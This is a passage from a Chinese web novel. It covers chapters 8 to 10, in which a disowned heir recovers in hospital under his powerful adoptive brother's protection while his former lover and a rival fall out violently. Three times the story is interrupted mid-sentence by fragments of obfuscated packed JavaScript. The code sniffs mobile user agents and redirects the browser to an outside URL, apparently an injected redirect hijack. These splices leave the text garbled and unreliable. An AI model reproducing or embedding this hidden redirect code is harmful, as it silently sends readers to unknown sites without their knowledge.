聂潮汐不懂上流圈子里的弯弯绕绕，一双看人的眼睛倒是还算毒辣。 可惜他也仅仅只是会“看”而已。 感受到聂潮汐的轻视，汤助理面色不改，不卑不亢地讲明身份和来意。 林照夜并不准备见他。 但又不想为此给前台再添更多麻烦，所以让汤助理下来带话，请他离开这里。 聂潮汐完全没在意这段话，只抓住汤助理一开始提到的“关总”。 “关总？”聂潮汐自顾自地追问，“哪个关总？” 他脑海里第一个冒出来的就是关家。 A市有名有姓的就这么一个“关”。 聂潮汐这个不怎么看新闻的人都曾在电视上见过那位年轻的关家当家人。 所有人提起来都说这位小关总年少有为，却很少用“前途无量”来描述他，因为他现在的地位就已经举足轻重。 不夸张的说，这位是真的跺跺脚就能让A市的圈子抖三抖的存在。 不仅仅因为关总本人能力强悍，也因为关家本就底蕴深厚。 百年不衰的豪门世家，根深叶茂的大家族。 能人辈出，世代累积，其底蕴能量远不是普通的商业豪门所能企及的。 二十年前关家有过一些动荡，却并未伤筋动骨。 自那之后整个关家越发低调，现在这位年轻当家更是神龙见首不见尾，几乎从不出现在同辈人的社交活动里，更没有任何八卦绯闻，只偶尔在正经的经济新闻中出没。 同年龄段的二世祖们很有自知之明，知道自己和这位真大佬云泥之别，不可同日而语，也甚少冒出什么酸言酸语，偶尔提及也只有敬畏和疏离。 连攀关系和套近乎都不敢。 这也让这位小关总的形象越发神秘。 以聂潮汐的身份，自然是接触不到这等人物的。 林照夜平时从不参与这个话题，但聂潮汐跟在他身边那么多年，听着其他人提及的只字片语，已经能拼凑出那位关总的地位能量了。 别说聂潮汐这样的“草根”，即便是林家这样有根基的“豪门”，真碰上那位关总，也得客客气气地赔笑。 要是林照夜真认识这么厉害的人物，当初又怎么可能被林老爷子毫不犹豫地舍弃？ 可面前的汤助理清清楚楚明明白白地告诉聂潮汐，就是他想到的那个关总。 聂潮汐第一反应就是不可能。 眼前的人一定是骗子。 或者是林照夜为了自尊心而编造出来的谎言。 又或者，是林照夜用什么东西交换来的一面唬人的大旗。 聂潮汐不信关明熙会无缘无故地将林照夜纳入保护范围，但心底再多猜疑揣测，当着汤助理的面却不敢再说出口。 他眼神闪烁了几下，先前暴躁嚣张的气焰顿时消失殆尽。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966407|161260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 面对这么一个看似平平无奇的助理，他也不自觉地带上几分婉转讨好之意。 “汤哥——汤哥，你知道林照夜是怎么认识关总的吗？” 变脸之快，看得汤助理胳膊上都起了一层鸡皮疙瘩。 倒是能屈能伸。 “这就跟外人没什么关系了。”汤助理意有所指地说道，“倒是聂先生，你是怎么知道林先生在这家医院的？” 医院应该不会随便和外人泄露病患的消息。 林照夜进医院之后都没下过楼，而且他也没有手机可以给聂潮汐发消息。 汤助理觉得有点奇怪，也担心是哪里有了疏漏。 探究的视线看得聂潮汐目光躲闪。 惯常的装可怜装沉默都没了用处，汤助理完全就是一副不想说就要让保安将他“请”走的态度，油盐不进。 聂潮汐咬了咬牙，嗫嚅着道来真相：“我、我听说的……有个朋友前两天来这里探病，正好看到林照——林哥了，我有点担心他是不是生病了，就想过来探望一下。” 原来如此。 汤助理想起来林照夜那层楼确实还住了另外几个病人，这几天一直都有人来往探望。 不过因为林照夜过于出众的社交能力，有生人围在他身边或者在远处旁观一点也不奇怪，况且有保镖跟着，不用担心安全问题，汤助理就没怎么放在心上。 唯一的疑问得到解答，汤助理放下了心，顿时就失了和聂潮汐继续虚以为蛇的耐心。 “聂先生，你的来意你我心知肚明，但有些事你要知道——你现在还能站在这里胡搅蛮缠，不是你的选择有多么正确，而是你运气足够好，得了林先生过去几分真心。” 汤助理看向聂潮汐越发心虚的脸：“不然你都不会有这一个月的舒坦日子。” 若不是担心林照夜再恋爱脑上头，早在聂潮汐背叛他的那一刻起，关明熙就叫人把他处理掉了。 其他人还能说是立场相悖、利益争斗，用些手段无可厚非。 林照夜斗不过是技不如人。 他本就没有什么上进心，也不加防备，输了并不奇怪。 日后复仇也好，再被算计针对也好，那都是摆在明面上的光明正大也自然而然的争斗厮杀，端看谁的手段更高明一些。 唯独聂潮汐的背叛没有任何道理可言。 他本就是吸着林照夜的血，被他一手扶持到今天的位置，恐怕聂潮汐自己心底都清楚，林照夜没有任何对不起他的地方。 不仅没有亏欠，林照夜对他来说完全是恩同再造。 但凡还有一点良知，不说赴汤蹈火万死不辞，至少也不能伙同恩人的仇敌送他去死。 聂潮汐就是一个彻头彻尾的趋炎附势忘恩负义狼心狗肺的卑劣小人。 所以即便在整个事件当中，聂潮汐发挥的作用最小，甚至可以说是微不足道，除了扎心以外，并不是将“林照夜”推入深渊的罪魁祸首。 但无论是关明熙、汤助理这些局外人，还是林照夜这个后来者，最看不起、最反感鄙夷的，都是聂潮汐这个最无关紧要的小虾米。 原因无他，实在是这人的卑劣无耻叫人大开眼界。 聂潮汐听懂了汤助理的潜台词，霎时间脸色一白。 如果彻底失去了林照夜无条件的偏爱，他还能剩下什么，又要面对什么下场？ 从前他只隐隐有所感觉，却不敢深想。 此刻被汤助理不留情面的戳破，莫大的恐慌和不安铺天盖地压下来，他身子一软，几乎站立不稳。 汤助理请保安帮忙将聂潮汐“送”了出去。 他没有说什么威胁的话，只留下一句意味深长的提醒。 “聂先生，以后日子还长着呢。” 8. 08（修） 聂潮汐心事重重地回到家。 家里一片昏暗，只有客厅一角有幽幽的光亮闪烁，电视的声音嘈杂地响着，映出扔了满地的杂物。 聂潮汐身心俱疲，见这一地狼藉就想发火。 ——他明明叫助理过来打扫屋子了。 然而没等他张嘴，屋里就传来一阵沉重的脚步声，随后传来语气不明的低沉男声：“回来了？” 聂潮汐不由自主打了个哆嗦，到了嘴边的脏话生生咽回去，抬头看向站在昏暗处的男人，勉强挤出一丝微笑。 “远、远哥。”聂潮汐颤着声叫道。 “啪嗒。” 贺修远伸手开了灯，昏暗的客厅瞬间亮堂起来。 屋里仿佛刚被洗劫过的邋遢样也更加清楚。 聂潮汐却不敢说什么。 “你去哪里了？”贺修远直勾勾地盯着他看，语气也带着几分阴森森的寒意。 “我……”聂潮汐低头看脚尖，结结巴巴地回答，“我去看林照夜了，他好像生病住进医院了，我就过去看看他……” 他下意识隐瞒了关明熙的事。 贺修远直接打断了他的话：“他见你了？” 当然没有。 聂潮汐眼神漂移，好在低着头，没叫贺修远看见。 直觉叫他闭上了嘴，没有说出实话，只含糊地“嗯”了一声。 他没有看见贺修远阴沉到有些扭曲的脸色。 贺修远没有追问，直接伸手掐住他的下巴，强迫他抬起头来。 然后直接一巴掌甩过去。 “你敢骗我。”贺修远语气掺着冰渣一般。 聂潮汐的半边脸颊瞬间红肿起来，眼底含了泪。 可惜贺修远并不是怜香惜玉的性子，这一个多月的相处，已经足够让聂潮汐体会到这个男人的喜怒无常。 聂潮汐捂着半张脸，生理性的泪水直往下流，但他连呜咽都不敢出声，只强忍着委屈，小声辩解：“我没有……我真的是去看他了……我……” 只是林照夜不肯见他而已。 聂潮汐不敢说出实情，还没等想到合适的借口，迎面又是一巴掌扇过来。 这下两边脸一样红，对称了。 贺修远盯着他眼泪糊了一脸的狼狈模样，气才顺下去一些，但眼底阴沉的凶光却始终不像是在看有过好感的情人，更像是在看仇人。 恨不能食其肉啖其骨的那种仇人。 “你这样见利忘义狼心狗肺脸比城墙厚的贱人，到底有什么资本能让他对你这么念念不忘？” “你害他到这般田地，他竟然还肯见你。” “到底因为什么？”贺修远用力掐着聂潮汐红肿的脸颊，语气里全是费解，“就因为这张脸？” 聂潮汐痛得眼泪越发汹涌，但他却不敢哭出声，甚至连挣扎都不敢。 因为他已经知道，越是挣扎，贺修远就会疯的越厉害。 他只能咬紧牙关，强忍着身体的颤抖，尽力无视贺修远那恨不得划烂他的脸的凶狠眼神。 过了不知道多久，贺修远忽然松开了手。 不过眨眼，原本凶恶狰狞的表情消失殆尽，他又重新披上文质彬彬的外皮。 “啊呀，看我，又一时冲动了。”贺修远语气变得温和，掐着聂潮汐脸颊的手改为温柔的抚摸，眼底流露出几分醉人的怜惜，“疼不疼？” 聂潮汐战战兢兢地摇头。 贺修远拿来药油替他揉伤口。 等了一会儿，见他确实已经恢复“正常”，聂潮汐才微微松了一口气，朝贺修远露出一个讨好的笑。 这也是聂潮汐还能继续忍耐他的原因之一。 每每发过疯之后，贺修远都会变得比平时更加温柔，甚至到了近乎百依百顺的地步，同时也会给他一些资源作为补偿。 至少还有能拿到手的利益可图。 聂潮汐回不了头，更没有旁的高枝可攀，只能一条道走到黑，死死抓住眼前的金大腿。 “过几天有个酒局，我带你过去认识几个朋友。”贺修远摸着他的脸，“他们人都挺不错的，对你以后拿资源也有好处。” 聂潮汐不敢细想，连连点头：“谢谢远哥。” 贺修远脸上笑意不达眼底，语气却还温柔得如同情人呢喃：“既然林照夜还记挂着你，到时候把他请过去如何？也算全了你们往日的情分。” 他将手机塞到聂潮汐手里，示意他给林照夜发消息。 聂潮汐不敢说自己可能被林照夜拉黑了，只能微微颤抖着手点开通讯软件，按照贺修远说的给他发消息。 按下发送键的瞬间，他下意识屏住了呼吸。 加载圈微微旋转了两圈，绿色的信息条顺利地发了出去。 聂潮汐暗暗松了一口气。 幸好，幸好。 …… 在医院躺了整整一个礼拜之后，林照夜终于拿到了新手机。 原主的手机在坠河的时候就丢失了，当时天色太暗，河水涛涛，想要再打捞上来几乎是不可能的事。 在沈医生那里得了准许之后，汤助理就直接给他买了个新手机。 电话卡也是直接办了新的。 原主那些狐朋狗友，早在他出事的时候就拉黑的差不多了，剩下的关系不冷不热，也没什么联系的必要。 手机到林照夜手上的时候，里面已经预存了两个号码。 一个是汤助理，另一个自然就是关明熙。 “这是关总的私人号码。”汤助理悄悄告诉林照夜，“一般人可要不到关总的私人号码。” “那我可真是太荣幸了。”林照夜语气受宠若惊，表情却很平常。 他分了一半视线在手机上，却也不耽误和汤助理聊天。 “你是关总的弟弟，当然和一般人不一样。”汤助理就是跟林照夜开个玩笑而已。 不过关总很难约倒是真的。 他的私人通讯录里比普通人都要干净简洁，汤助理曾经瞥过一眼，很怀疑总共有没有超过二十个联系人。 其中至少四五个都是池女士所在的疗养院的工作人员。 这也足以从侧面证明关总的私人号码的珍贵程度。 林照夜一边翻看着原主名下的各项财产证明，一边挑眉：“你确定关总不是嫌麻烦？” 汤助理咳嗽：“也有一点点这方面的原因。” 实际上主要就是这个原因。 林照夜好奇地问：“我之前听说关总是个工作狂，同龄人在游轮豪宅狂欢的时候，关总在出差谈生意，同龄人在夜店酒吧蹦迪泡妹的时候，关总在公司加班——是真的还是假的？” “当然是胡说八道！”汤助理斩钉截铁了一秒，然后又摸了摸鼻子，“肯定没有那么夸张，他又不是机器人，当然也要休息的。” 林照夜了然，这意思就是至少有八成真。 难怪住院期间关明熙总是来去匆忙的样子，前两天还去出差了，听说回来之后还有好多会要开。 忙里偷闲还能来看看弟弟，这便宜大哥已经够负责任的了。 林照夜脑海里刚闪过这样的念头，就听汤助理继续往下说。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966408|161260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“其实关总只是工作效率比较高，他那个工作量，一般人来天天加班都不一样干得完，他却能比预期提前好几天做完，所以他平时休假也不少。” 在把林照夜从警局捞回去之前，关明熙才休了一个月的小长假，其中大半时间都是在国外陪池女士。 结果没成想，刚回来就赶上林照夜出事。 事情一窝蜂的赶在一起，关明熙最近才忙了一些。 “不过关总比较喜欢清净。”汤助理说到这里特意压低了声音，还偷偷扫了眼病房左右，仿佛要说什么惊天大秘密。 “怎么说？”林照夜一手点着手机，一边竖起耳朵听八卦。 “谈生意嘛，有些合作商难缠的很，非要拉关总组局，但关总一点都不想跟那些人出去玩，就借口说隔天还要出差，偶尔还要我们这些助理帮忙伪造行程，实际上他人就在家里躺着！” 汤助理渐渐义愤填膺，但仍然还记得控制住音量：“后来大家都知道他是工作狂了，不是在开会就是在出差的路上，总之就是忙到连参加酒局的时间都没有，现在大家都是走流程给他送各种请帖，实际上完全没指望他能去。” 发展至今，关明熙甚至不用再找什么额外的借口。 明明是躺在家里犯懒，不知情的外人却都交口称赞小关总真有事业心。 一年三百六十五天，其中至少三百六十天不是在加班，就是在去加班的路上。 活该人家事业有成呢。 知道真相的汤助理对此只想呵呵。 不过他也只敢私下里跟林照夜吐槽两句。 事实上老板工作效率高且懂得劳逸结合，对他们这些亲近的下属也是好事。 虽说忙起来的时候压力大得人像是刚从坟里爬出来的，但忙完之后奖金翻倍，还有相当长的带薪小长假，足够抚平他们加班时吃的苦了。 汤助理原本最近也该跟着一起加班，结果临时跳出来一个林照夜把他给截胡了。 其他同事刚听说这个消息的时候，一个个看他的眼神都像是在目送他去英勇就义。 比起应付难缠的小少爷，他们宁可跟着关总加班加到死。 汤助理提前就调查过林照夜的消息，算是一早就被关总钦点过来当这个便宜弟弟的临时大总管，也算早有心理准备，心情倒是没那么悲观。 但也不太乐观。 谁料现在他就提前过上了带薪半休假的日子，除了白天陪护，偶尔帮忙买书，剩下就是闲聊八卦消磨时间。 反正自己的黑历史都爆的差不多了，剩下能爆的不就是别人的黑历史了吗。 当然提到关总的时候，他也没敢说太过。 倒不是觉得要对林照夜保密，而是担心说到正兴起的时候，一转头就发现关总人在背后。 毕竟关总走路经常都是没有声音的。 汤助理吐槽到这里的时候就突然停顿了一下，扭头朝门口看了一眼，确认没人才松一口气。 “我刚来公司的时候还震惊过关总仪态教养真好，后来在茶水间听其他同事聊天，他们还研究了好久关总是不是学过轻功。” “研究出什么结论了吗？” “结论就是关总真的很体贴有礼貌，因为他中午的时候路过午休的同事身后都没声儿，从来不会在休息时间吵醒他们。” “……”林照夜听得嘴角直抽。 关总礼不礼貌另说，这群员工隔空拍马屁的功力是真拉满了。 至于走路没声嘛，也很好解释。 纯粹的恶趣味罢了。 问就是有经验。 9. 09（修） 这便宜大哥果然不像外表看起来那么老实古板。 林照夜在心底轻啧一声，一边跟汤助理闲聊，一边已经将原主名下的财产清点清楚。 不清点不知道，一清点吓一跳。 林照夜早就从原主记忆里推测出他名下还有不少财产，但真正挨个列出清单之后，他这个曾经的商界紫微星都不由咋舌。 散落在各地的豪宅粗略一数就有七栋，最便宜的按当地房价计算也值个两百多万，除此以外还有一些单纯用来落脚的小公寓，以及豪车若干，古董字画收藏品若干。 对比之下，卡上的五百万存款其实都不算什么了。 正经的豪门少爷都未必能一口气拿出这么多私产，原主可是被收回了林家所有资产之后才被扫地出门的。 林家知道他有这么多私产吗？ 林照夜又在原主记忆的角角落落里扒拉了一通，脸色越发微妙——说不准，林家还真不知道他这么有钱。 从某种意义上来说，原主还是个赚钱小天才。 他对古董字画甚至豪车都毫无兴趣，但偏偏天生眼光毒辣，总能精准看出某样藏品升值空间有多少，要是心情好就顺手扒拉进自己的私库里。 连那些房产也不例外，原主最早在学生时代用自己积攒的零花钱买的那套房，现在市价已经翻了十几倍了。 这些年前前后后光是倒卖一些收藏品，都让他赚得盆满钵满了。 可惜他志不在此，就连倒卖收藏品都是为了聂潮汐。 原主当初陪着聂潮汐全国各地到处跑剧组的时候，自己就私下置办了不少东西。 其中很多都是他预备着送给白月光的礼物。 剩下的则是给聂潮汐预留的“活动本金”。 在私生子还没有出现的时候，林父还算看中原主这个独子，虽然并没有制止他私下包养什么小明星，但对他高调追求“真爱”的行为一直颇有微词。 林父没少过他平时的零花钱，但想要从林父那里抠出更多的钱去捧小明星，那是做梦。 而那点零花钱，想把聂潮汐砸成当红流量是不可能的事。 每次一缺钱，原主就跑去倒腾些收藏品买卖，再不然就卖套房救急。 林父也不是不知道这些事，但在他眼里，这都是上不了台面的小打小闹，那些买家卖家不过就是看中林家的家世背景，才借机过来讨好凑趣。 如果没了林家，他那些东西屁都不是。 所以林父压根没把他那些“小生意”放在心上，反倒觉得这个儿子不务正业，一直颇有微词。 而实际上……原主确实不务正业。 被叫了那么多年废物，原主不是没有羞耻心，而是纯粹不想辛苦给他爹打工卖命。 俗称摆烂。 进公司那么多年虽然没做出什么成就，但在正经工作上原主也没出过任何差错——最大的纰漏就是为了白月光推掉工作浑水摸鱼，最后还在外面得罪了人。 所以不是他能力差，而是主打一个“叛逆”。 林照夜不知道原主有没有后悔当初“叛逆”到被赶出家门，但清点完资产之后，他是挺痛心疾首的。 ——那么多钱，都砸聂潮汐身上了。 哪怕扔水里都还能炸几个水花呢。 暴殄天物啊。 林照夜深深叹息。 他又拿起手机，决定先给聂潮汐找点小麻烦舒缓一下心情。 在原主记忆里扒拉扒拉，聂潮汐似乎还挺得意他最近刚接到的几个新代言的。 搞掉搞掉，通通搞掉。 林照夜一边编辑邮件，一边继续回忆那几个品牌的联系方式。 …… 关明熙出差回来的第二天，林照夜正好出院。 VIP病房日用品备得十分齐全，林照夜来的时候空着手，走的时候也没多少行李要收拾。 唯一的“大件”就是墙角摞了快有一人高的几箱书。 林照夜都看完了，只留下几本有收藏价值的随身带走，剩下的就委托汤助理帮忙捐出去。 关明熙过来接他的时候，病房里的东西刚刚全部打包好，林照夜正站在窗边，和汤助理嘀嘀咕咕商量着什么事。 汤助理的脸色变了又变，最后带着几分为难点了点头。 回头冷不丁看见悄无声息进来的关明熙，汤助理一个激灵，视线瞬间就心虚地偏到了一边。 关明熙扫了他一眼，又转头看向神情自若的林照夜。 林照夜还笑眯眯地挥手跟他打招呼：“哥，你来这么早啊，今天不用去公司吗？” “下午才有事。”关明熙打量他片刻，问，“你们刚刚在说什么房子的事？” “哦。没什么，就是我突然想起来聂潮汐那里有一套房是我之前送他的，还没有过户，我想尽快收回来。”林照夜回答道。 那是原主刚认识聂潮汐不久的时候送出去的。 那时候聂潮汐刚被上一任房东赶出去，原主陪他去找新房子，怎么看都不满意，干脆就新买了一套，专门给聂潮汐一个人住。 彼时聂潮汐对原主还有那么一点敬畏感激之心，原主怕他有心理压力不肯要，就说是在自己名下的房产里随便挑了一套，暂时借给他住。 但在原主心里，那套房就已经是送出去的礼物了。 后来聂潮汐被捧红了，收入水涨船高，早就不在意这么一套房了。 而且原主对他向来大方，他压根就没有过将收到的东西再还回去的想法。 他也理所当然地觉得原主不会跟他索要。 于是他自己大概也一不小心就忘了这一茬。 他没主动提过户的事，原主也压根想不起来。 那套市中心的精装房面积不算大，但胜在地理位置优越，后来被划分进重点学校的学区房，又恰好是在房价低点购入，现在市价已经翻了两番了。 要是原主还在，说不准也不会在意这套房。 但现在换成了林照夜，他是一点便宜都不想留给聂潮汐。 ——那一套房都足够办个工厂了。 林照夜话还没说完，就听关明熙一口回绝：“不行！” 林照夜和汤助理都愣了一下，满脸意外地看向关明熙。 “为什么？” “因为……”关明熙微微拧了拧眉，扫了眼汤助理，道，“这件事让汤逸去办。” 汤助理想解释林照夜本来就是请他帮忙出面的。 但一抬头撞上关明熙的视线，他立刻回过神，没再多嘴，直接点头应下，然后转身先退到门外。 屋里只剩下关明熙和林照夜两人。 关明熙走到窗边，在林照夜身边停下来，眺望了一下在城市高楼之后若隐若现的连绵山脉，然后才转头看向林照夜。 他比林照夜稍微高一些，离得越近就越显出几分压迫感。 关明熙自认已经恢复到心平气和，视线自上而下扫视林照夜的脸，却仍是带了几分大家长般的居高临下。 林照夜觉得他的眼神就像是在看什么令人头疼的叛逆期青少年。 “你跟贺修远……”关明熙不自觉又眉头微锁，发现自己竟也有词穷的时候，顿了顿，才道，“是怎么回事？” “什么怎么回事？”林照夜有点不明所以。 “你不会也不记得贺修远是谁了吧？”关明熙狐疑地打量他。 “当然记得。”林照夜不假思索道，“贺家那个神经病。” 也就是和聂潮汐勾搭在一起的死对头。 他答得太多理直气壮，关明熙反倒被噎了一下。 林照夜停顿片刻，问：“他又发什么神经了？” 嫌弃、厌烦，溢于言表。 关明熙从字里行间窥视出他的态度，眉头微松，神色微妙，有些看似离谱的话竟也能顺利说出口了。 “他……他和聂潮汐半夜在路边打起来了，被人拍了视频放到了网上。” “真的？”林照夜第一反应是掏出手机点开热搜，脸上的幸灾乐祸完全不加掩饰。 “视频已经撤掉了。”关明熙想了想，将自己的手机递过去，“贺家现在正盯着网上的舆论，一有动静就会往下压。” 没有通宵吃瓜的人现在已经看不到一手资料了。 关明熙当然不在此列。 他是不会通宵吃瓜，但他最近正叫人盯着林照夜那些对头。 所以那边一有动静，立刻就有人来告诉关明熙了。 两个仇家当众打起来，本是喜闻乐见的狗咬狗戏码，若只是纯粹闹了什么私人矛盾，关明熙也只会冷眼旁观。 但问题是—— “他们是因为你打起来的。” “……”林照夜抬头看了关明熙一眼，一时间有点疑心自己听错了，或者这位哥觉醒了什么冷幽默的天赋。 短暂的沉默之中，手机上的视频正播放到街边两人的叫骂声。 视频拍摄者趁乱靠近了些，昏暗的树影下面，只能勉强看到两个人影纠缠在一起。 看不清脸，但声音逐渐变得清晰。 两人明显喝多了酒，疑似贺修远的人影揪着另一个人的头发，嘴里骂骂咧咧地喊“贱人” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966409|161260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一边用极为恶毒的言辞疯狂辱骂贬低着对方。 疑似聂潮汐的人影起初还不敢反抗，后来随着周围路人视线聚集过来，胆子也大起来，趁着酒劲反过去抓挠对方。 一边挠，一边发出堪称凄厉的叫喊。 「你以为没有我，林照夜就会看上你吗，你做梦！」 这一声无疑彻底激怒了对方，贺修远只微微停顿了一下，然后伴随着响亮的巴掌声，又更凶狠地将聂潮汐拖拽到一边。 聂潮汐发出痛苦的呜咽，又开始软声求饶。 视频就在这里戛然而止了。 林照夜：“……” 狗咬狗的戏码怎么还要攀上他这个无辜路人。 啧，真是晦气。 关明熙打量他的脸色，发现他嫌弃多过震惊，心底也就隐隐有了猜测。 “你是不是早就知道？”关明熙问。 “什么？”林照夜还在盯着手机，分了些心神接话，“你是说贺修远犯病的事吗？我跟他不熟，但大概知道一点。” 原主和贺修远虽然是死对头，但实际上从贺修远刻意勾引聂潮汐开始，他们才真正结下死仇。 原主看出贺修远心怀不轨，好几次先给聂潮汐下套再跳出来英雄救美，他极为厌恶贺修远这种将聂潮汐当做工具或玩物一样的态度。 可惜他越生气，贺修远就越乐此不疲。 原主身在局中或许一开始没能看清楚，林照夜纵观过往记忆，便发现贺修远这条疯狗一直都对原主有种特别的执念。 两人认识其实很早，最早甚至可以追溯到幼儿园之前。 林贺两家纠葛颇深，偶尔会有一些合作项目，但多数时候都是同一个领域里的竞争对手。 更巧的是，两家主宅都在同一个区。 甚至是在同一个学区。 “林照夜”和贺修远同年同月生，前者生日恰好大上那么一天。 从某种意义上来说，这两人仿佛生下来就是天生的对头，注定要纠缠不休。 贺修远也确实从小就把原主视作最大的竞争对手。 两人从幼儿园就开始同班，一直到高中毕业，考上不同城市的大学才算彻底分开。 同班十五年的缘分实属罕见，一般人即便成为不了挚友，至少也会是表面关系不错的普通朋友。 但很不幸，他们双方都没有这个意愿。 贺修远一心想要压过原主，可惜他并不热爱学习，两人都是中不溜的成绩，偏偏每次原主都恰巧比贺修远高那么一两个名次。 考试成绩比不过，其他课余才艺竞赛原主从不参与，贺修远就开始抢夺原主身边的一切东西。 从他看中的文具到老师的关注，甚至是和原主关系好的同学。 一般人到这时候也应该要翻脸了。 但原主没有。 对于一个富二代兼独生子来说，没有什么物质上的东西是真正独一无二的，何况区区一点文具玩具。 至于上学的时候，原主日常上课神游下课睡觉，老师的关注不要也罢。 体育课实验课上的搭档这个跑了就换下一个，本班的没了就跟隔壁班的同学搭个伙。 再不济还有学长学弟能凑凑人头。 原主自小生得好看，家境优越，性格懒散的另一面就是脾气不错。 多的是人争先恐后地往他身边靠。 贺修远再厉害也不可能收买全校所有人。 所以贺修远自以为的打压对原主来说压根不值一提，大部分时候原主甚至意识不到这个同学是在针对自己，他压根不关注贺修远的事。 同窗十五年之后，原主对他仅有的印象还是“知道名字的同学”。 上了两年大学再回到A市，路上偶遇到贺修远，原主都能目不斜视地从他身边越过，一个多余的眼神都撇不出去，别说主动打招呼了。 他倒不是这么快就忘了这个老同学，纯粹是不熟，就觉得没必要停下来打招呼。 林照夜说到这里的时候，忍不住停下来说了句公道话：“虽然贺修远不是个好东西，但这么一想，他这么恨我好像也挺正常的。” 从听到“同班十五年”就开始眼皮狂跳的关明熙：“……” 没想到这人还有点自知之明。 饶是关明熙无条件站在林照夜这边，听完林照夜视角的恩怨往事，也不免生出了淡淡的怜悯——对贺修远的。 对着一个人唱了整整十五年的独角戏，对面连眼神都不给一个。 结果这人转头给别人当舔狗去了。 这搁谁谁能不疯啊。 10. 10（修） 关明熙默默为贺修远默哀了三秒钟。 也只有三秒钟不能更多了。 关明熙并不真正同情贺修远，也并不认为他是真的喜欢林照夜，无非是长久执念带来的扭曲错觉。 虽说贺修远的执念有迹可循，但无论动机如何，他对林照夜的恶意也做不了假。 他的所作所为是真的把林照夜往死里逼。 甚至就连这次的窝里斗事件，给林照夜这个局外人带来的也全是麻烦。 关明熙刚看到视频时，心底就压着一把火。 真是什么垃圾货色都能随便张张嘴巴谈什么喜欢了。 但听林照夜讲完他跟贺修远之间的恩怨之后，他又觉得无语也觉得有点好笑，最后还是庆幸林照夜不像他担忧的那么傻。 林照夜看得挺清楚的——贺修远是恨他，所以才会做那么多疯癫的事情攻击伤害他。 “我跟他早就是不死不休的仇怨了。”林照夜说道。 “你能这么想就好。”关明熙眉头微蹙，“不过现在的问题不在于贺修远自己，而在于贺家。” “贺家？”林照夜脑筋一转，反应过来，“他们要把这件事算在我头上了。” “恐怕不止这些。”关明熙说着轻叹了一口气，“贺修远和聂潮汐最近过得都不太顺。” 他没细说怎么个“不顺”法，林照夜也没多问。 “只怕连带着这些也要一起算给你了。” “……”林照夜也想叹气了。 虽然他在后面那个“不顺”里面其实也不算无辜，但一想到麻烦连带着一口大锅从天而降，他当然开心不起来。 偏偏还是最难缠的贺家。 贺父贺母都是和贺修远一脉相承的疯狗做派。 不过年长些的两人更会伪装而已。 贺修远也是贺家的独生子，唯一的继承人。 贺父贺母自小就对儿子寄予厚望，贺修远对原主执念那么深，未尝没有父母在后面反复提及洗脑的缘故。 远的不说，贺父贺母都是老派传统的人，都等着儿子早日娶妻生子给老贺家传宗接代，自然是接受不了他追在一个男人身后跑的。 早前原主还是林家大少爷，贺修远明显是为了刺激原主才追在聂潮汐背后撩拨。 贺父贺母未必看不出其中真意，却还是暗中对聂潮汐下手了好几次。 要不是有原主寸步不离的候着，聂潮汐说不准连命都保不住。 这也是原主对贺修远厌恶加深的原因之一。 贺父贺母如此做派，哪怕贺修远真有几分真心，也护不住聂潮汐。 更何况他压根没有真心。 明明对父母的手段心知肚明，却放任自流。 直到贺修远利用聂潮汐做局扳倒了“林照夜”之后，贺父贺母大约是将聂潮汐视作了功臣，以及很快就会被丢弃的废弃物，倒是没再费什么心。 结果现下突然又出了这么一通意外。 即便林照夜还是林家少爷，贺家都未必会放过他，更别提他现在已经是被赶出林家的丧家犬了。 贺家只会更肆无忌惮地在他身上发泄怨气。 “你不用太担心，我肯定会护着你。”关明熙先安慰道。 “嗯。”林照夜毫不犹豫地点头，“我相信哥。” 关明熙脸色又缓和几分，思索片刻，继续道：“贺家要是脑子清醒些的倒还好说，但从贺修远这人来看，这家人疯起来恐怕没什么理智可言。” “我本想给他们找点麻烦让他们忙起来，再给你多准备几个保镖，不过想想还是不够保险。” 贺家一家还算好防范。 但A市远不止一个贺家。 “我过两天要回N市，到时候我带你去N市如何？” 关明熙停顿了一会儿，给了林照夜一点考虑的时间，然后又慢慢跟他分析利弊。 林家和贺家的大本营都在A市。 不说只手遮天，但要给林照夜这个落魄了的“平民”使点绊子再容易不过。 关家在A市倒是根深叶茂，给林照夜提供一点庇护并不困难。 关明熙虽自小不是在关家长大，而是成年后才回归家族，但他背后有老爷子撑腰，自身手腕强硬，天赋能力更是一骑绝尘，数遍关家上下无人能出其右。 他上位速度相当快，到如今近十年时间，地位也算稳固。 但关家这样历经数百年传承的庞然大物，关明熙手腕再厉害，也不可能将其完全变作自己的一言堂。 内部的明争暗斗从未停过，不服关明熙的也不是没有。 关明熙能压得住他们，但不代表他们不会伺机钻空子。 所以关明熙从一开始就没想过要把林照夜带去关家，而只是留在自己的身边。 林照夜本就是他自己的责任，和关家无关。 如今他也不会考虑关家。 